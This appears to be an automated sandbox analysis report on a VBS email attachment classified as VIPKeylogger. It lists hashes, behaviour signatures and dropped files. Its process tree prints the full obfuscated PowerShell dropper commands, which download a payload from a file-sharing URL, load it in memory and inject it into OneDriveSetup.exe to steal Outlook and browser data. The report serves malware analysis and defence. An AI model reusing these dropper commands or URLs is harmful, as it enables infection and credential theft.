Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-11-2024 06:22

General

  • Target

    Inquiry HA-22-28199 22-077.vbs

  • Size

    12KB

  • MD5

    605abed3e1d7266ea35c8517b5961010

  • SHA1

    4c35a1a9e7385b8216812f3c6ff73b23b1710d18

  • SHA256

    394ce0420dc3786db150a630ceb90bac466bf4a3c3f1f792441fed6fb0b6dc34

  • SHA512

    15ff74ef09974c51a36cd4197c45c3391dd76317c2d278a34c9df5adf3cbee41f6fc9cf25450d73f3e6f4e63f00c0e65d874f6b572421bf49611544d11467bbc

  • SSDEEP

    192:bWyKzktunJRUyKzktJDlvgia0GONzU09iT0yFnVk03u3A/WeFW9tWHaFi:Cy44unfUy44dPlzNiKeFsin

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Extracted

Family

vipkeylogger

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Inquiry HA-22-28199 22-077.vbs"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:1544
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\CKguwyMRrmjEg.js"
      2⤵
      • Blocklisted process makes network request
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:3096
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'aQBuAHYAbwBrAGUALQBFAFgAUABSAEUAUwBzAGkATwBuACAAKAAoACcAZQBEAHkAaQBtAGEAZwBlAFUAcgBsACAAPQAgAEUANQByAGgAdAB0AHAAcwA6AC8ALwAxADAAMQA3AC4AZgBpAGwAZQBtAGEAaQBsAC4AYwBvAG0ALwBhAHAAJwArACcAaQAvAGYAaQBsAGUALwBnAGUAdAA/AGYAaQBsAGUAawBlAHkAPQAyAEEAYQBfAGIAVwBvADkAUgBlAHUANAA1AHQANwBCAFUAMQBrAFYAZwBzAGQAOQBwAFQAOQBwAGcAUwBTAGwAdgBTAHQARwByAG4AVABJAEMAZgBGAGgAbQBUAEsAagAzAEwAQwA2AFMAUQB0AEkAYwBPACcAKwAnAGMAXwBUADMANQB3ACYAcABrAF8AdgBpAGQAPQBmAGQANABmADYAMQA0AGIAYgAyADAAJwArACcAOQBjADYAMgBjADEAJwArACcANwAzADAAOQA0ADUAMQA3ADYAYQAwADkAMAA0AGYAIABFADUAcgA7AGUARAAnACsAJwB5AHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwBlAEQAeQBpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgAGUARAB5AHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKABlAEQAeQBpAG0AYQBnAGUAVQByAGwAKQA7AGUARAB5AGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkACcAKwAnAGkAbgBnACcAKwAnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAGUARAB5AGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7AGUARAB5AHMAdABhAHIAdABGAGwAYQBnACAAPQAgAEUANQByADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4ARQA1AHIAOwBlAEQAeQBlAG4AZABGAGwAYQBnACAAPQAgAEUANQByADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgBFADUAcgA7AGUARAB5AHMAdABhAHIAdABJAG4AZAAnACsAJwBlAHgAIAA9ACAAZQBEAHkAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAZQBEAHkAcwB0AGEAcgB0AEYAbABhAGcAKQA7AGUARAB5AGUAbgBkAEkAbgBkAGUAeAAgAD0AIABlAEQAeQBpAG0AYQBnAGUAVABlAHgAdAAuAEkAJwArACcAbgBkAGUAeABPAGYAKABlAEQAeQBlAG4AZABGAGwAYQBnACkAOwBlAEQAeQBzAHQAYQAnACsAJwByAHQASQBuAGQAZQB4ACAALQBnAGUAIAAwACAALQBhAG4AZAAnACsAJwAgAGUARAB5AGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJwArACcAZQAnACsAJwBEAHkAcwB0AGEAcgB0AEkAbgBkAGUAeAA7AGUARAB5AHMAdABhAHIAdABJAG4AZABlAHgAIAArAD0AIABlAEQAeQBzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAZQBEAHkAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAIAA9ACAAZQBEAHkAZQBuAGQASQBuAGQAZQB4ACAALQAgAGUARAB5AHMAdABhAHIAdABJAG4AZABlAHgAOwBlAEQAeQBiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgAGUAJwArACcARAB5AGkAbQBhAGcAZQBUACcAKwAnAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKABlAEQAeQBzAHQAYQByAHQASQBuAGQAZQB4ACwAIABlAEQAeQBiAGEAcwBlADYANABMAGUAbgBnAHQAaAApADsAZQBEAHkAYgBhAHMAZQA2ADQAUgBlAHYAZQByAHMAZQBkACAAPQAgAC0AagBvAGkAbgAgACgAZQBEAHkAJwArACcAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIABxAFoARwAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIABlAEQAeQBfACAAfQApAFsALQAxAC4ALgAtACgAZQBEAHkAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAuAEwAZQBuAGcAdABoACkAXQA7AGUARAAnACsAJwB5AGMAJwArACcAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAJwArACcAUwB0AHIAaQBuAGcAKABlAEQAeQBiAGEAcwAnACsAJwBlADYANABSAGUAdgBlAHIAcwBlAGQAKQA7AGUARAB5AGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuACcAKwAnAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAZQBEAHkAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAKQA7AGUARAB5AHYAYQBpAE0AZQB0AGgAbwBkACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4AJwArACcASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKABFADUAcgBWAEEASQBFADUAJwArACcAcgApADsAJwArACcAZQBEAHkAdgBhAGkATQBlAHQAaABvAGQALgBJAG4AdgBvAGsAZQAoAGUARAB5AG4AdQBsAGwALAAgAEAAKABFADUAcgB0AHgAdAAuAGQAcwB0AGUAcAAvAHAAbwBwAC8AdQBlAC4AcAByAGcAeABhAG0AeQBnAHIAZQBuAGUALgBnAGkAZwAvAC8AOgBwAHQAdABoAEUANQByACwAIABFADUAcgBkAGUAcwBhAHQAaQB2AGEAZABvAEUANQByACwAIABFADUAcgBkAGUAcwBhAHQAaQB2AGEAZABvAEUANQByACwAIABFADUAcgBkAGUAcwBhAHQAaQB2AGEAZABvAEUANQByACwAIABFADUAcgBkAGUAcwBhAHQAaQB2AGEAZABvAEUANQByACwAIABFADUAJwArACcAcgAxAEUANQByACwAIABFADUAcgBPAG4AZQBEAHIAaQB2AGUAUwBlAHQAdQBwAEUANQByACwARQA1AHIAZABlAHMAYQB0AGkAdgBhAGQAbwBFADUAcgAsACAAJwArACcARQA1AHIAZAAnACsAJwBlAHMAYQB0AGkAdgBhAGQAbwBFADUAcgAsAEUANQByAGQAZQBzAGEAdABpAHYAYQBkAG8ARQA1AHIALABFADUAcgBkAGUAcwBhAHQAaQB2AGEAZABvAEUANQByACwARQA1AHIAZABlAHMAYQB0AGkAdgBhAGQAbwBFADUAcgAsAEUANQByADEARQA1AHIALABFADUAcgBkAGUAcwBhAHQAaQB2AGEAZABvAEUANQByACkAKQA7ACcAKQAuAFIAZQBQAEwAYQBDAGUAKAAoAFsAQwBIAEEAUgBdADYAOQArAFsAQwBIAEEAUgBdADUAMwArAFsAQwBIAEEAUgBdADEAMQA0ACkALABbAHMAVAByAGkATgBnAF0AWwBDAEgAQQBSAF0AMwA5ACkALgBSAGUAUABMAGEAQwBlACgAJwBxAFoARwAnACwAWwBzAFQAcgBpAE4AZwBdAFsAQwBIAEEAUgBdADEAMgA0ACkALgBSAGUAUABMAGEAQwBlACgAKABbAEMASABBAFIAXQAxADAAMQArAFsAQwBIAEEAUgBdADYAOAArAFsAQwBIAEEAUgBdADEAMgAxACkALAAnACQAJwApACkA';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4304
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "invoke-EXPRESsiOn (('eDyimageUrl = E5rhttps://1017.filemail.com/ap'+'i/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcO'+'c_T35w&pk_vid=fd4f614bb20'+'9c62c1'+'730945176a0904f E5r;eD'+'ywebClient = New-Object System.Net.WebClient;eDyimageBytes = eDywebClient.DownloadData(eDyimageUrl);eDyimageText = [System.Text.Encod'+'ing'+']::UTF8.GetString(eDyimageBytes);eDystartFlag = E5r<<BASE64_START>>E5r;eDyendFlag = E5r<<BASE64_END>>E5r;eDystartInd'+'ex = eDyimageText.IndexOf(eDystartFlag);eDyendIndex = eDyimageText.I'+'ndexOf(eDyendFlag);eDysta'+'rtIndex -ge 0 -and'+' eDyendIndex -gt '+'e'+'DystartIndex;eDystartIndex += eDystartFlag.Length;eDybase64Length = eDyendIndex - eDystartIndex;eDybase64Command = e'+'DyimageT'+'ext.Substring(eDystartIndex, eDybase64Length);eDybase64Reversed = -join (eDy'+'base64Command.ToCharArray() qZG ForEach-Object { eDy_ })[-1..-(eDybase64Command.Length)];eD'+'yc'+'ommandBytes = [System.Convert]::FromBase64'+'String(eDybas'+'e64Reversed);eDyloadedAssembly = [System.Reflection.'+'Assembly]::Load(eDycommandBytes);eDyvaiMethod = [dnlib.IO.'+'Home].GetMethod(E5rVAIE5'+'r);'+'eDyvaiMethod.Invoke(eDynull, @(E5rtxt.dstep/pop/ue.prgxamygrene.gig//:ptthE5r, E5rdesativadoE5r, E5rdesativadoE5r, E5rdesativadoE5r, E5rdesativadoE5r, E5'+'r1E5r, E5rOneDriveSetupE5r,E5rdesativadoE5r, '+'E5rd'+'esativadoE5r,E5rdesativadoE5r,E5rdesativadoE5r,E5rdesativadoE5r,E5r1E5r,E5rdesativadoE5r));').RePLaCe(([CHAR]69+[CHAR]53+[CHAR]114),[sTriNg][CHAR]39).RePLaCe('qZG',[sTriNg][CHAR]124).RePLaCe(([CHAR]101+[CHAR]68+[CHAR]121),'$'))"
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2824
          • C:\Windows\SysWOW64\OneDriveSetup.exe
            "C:\Windows\SysWOW64\OneDriveSetup.exe"
            5⤵
            • Accesses Microsoft Outlook profiles
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • outlook_office_path
            • outlook_win_path
            PID:4644

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    f41839a3fe2888c8b3050197bc9a0a05

    SHA1

    0798941aaf7a53a11ea9ed589752890aee069729

    SHA256

    224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

    SHA512

    2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    1a11402783a8686e08f8fa987dd07bca

    SHA1

    580df3865059f4e2d8be10644590317336d146ce

    SHA256

    9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

    SHA512

    5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2ywqsz0d.uh1.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\CKguwyMRrmjEg.js

    Filesize

    1KB

    MD5

    ae40e08c0cba583f183151e7917d4947

    SHA1

    79bb3dd394e12d1e598b118ca29e60ad4eeb93b3

    SHA256

    b43098cd18ce70e863d2bf5807ea36f95e03c5128ed2442f5886ea4ed4c6927c

    SHA512

    5b4650fafda18f1fa194f4a0d0f30d8e06cfd86788852a47f7b105119da270206af389b034e47637e9eb21962645505ef9fb2645fbd42be775001cfa557ad598

  • memory/2824-23-0x000002987A800000-0x000002987A958000-memory.dmp

    Filesize

    1.3MB

  • memory/4304-4-0x0000021440E40000-0x0000021440E62000-memory.dmp

    Filesize

    136KB

  • memory/4644-31-0x0000000006BF0000-0x0000000006C40000-memory.dmp

    Filesize

    320KB

  • memory/4644-30-0x0000000000400000-0x0000000000437000-memory.dmp

    Filesize

    220KB

  • memory/4644-24-0x0000000000400000-0x0000000000437000-memory.dmp

    Filesize

    220KB

  • memory/4644-32-0x0000000007280000-0x0000000007824000-memory.dmp

    Filesize

    5.6MB

  • memory/4644-33-0x0000000006CD0000-0x0000000006D1E000-memory.dmp

    Filesize

    312KB

  • memory/4644-34-0x0000000006DC0000-0x0000000006E5C000-memory.dmp

    Filesize

    624KB

  • memory/4644-35-0x0000000008210000-0x00000000083D2000-memory.dmp

    Filesize

    1.8MB

  • memory/4644-36-0x00000000080B0000-0x0000000008100000-memory.dmp

    Filesize

    320KB

  • memory/4644-37-0x0000000008910000-0x0000000008E3C000-memory.dmp

    Filesize

    5.2MB

  • memory/4644-38-0x0000000008F40000-0x0000000008FD2000-memory.dmp

    Filesize

    584KB

  • memory/4644-39-0x0000000008570000-0x000000000857A000-memory.dmp

    Filesize

    40KB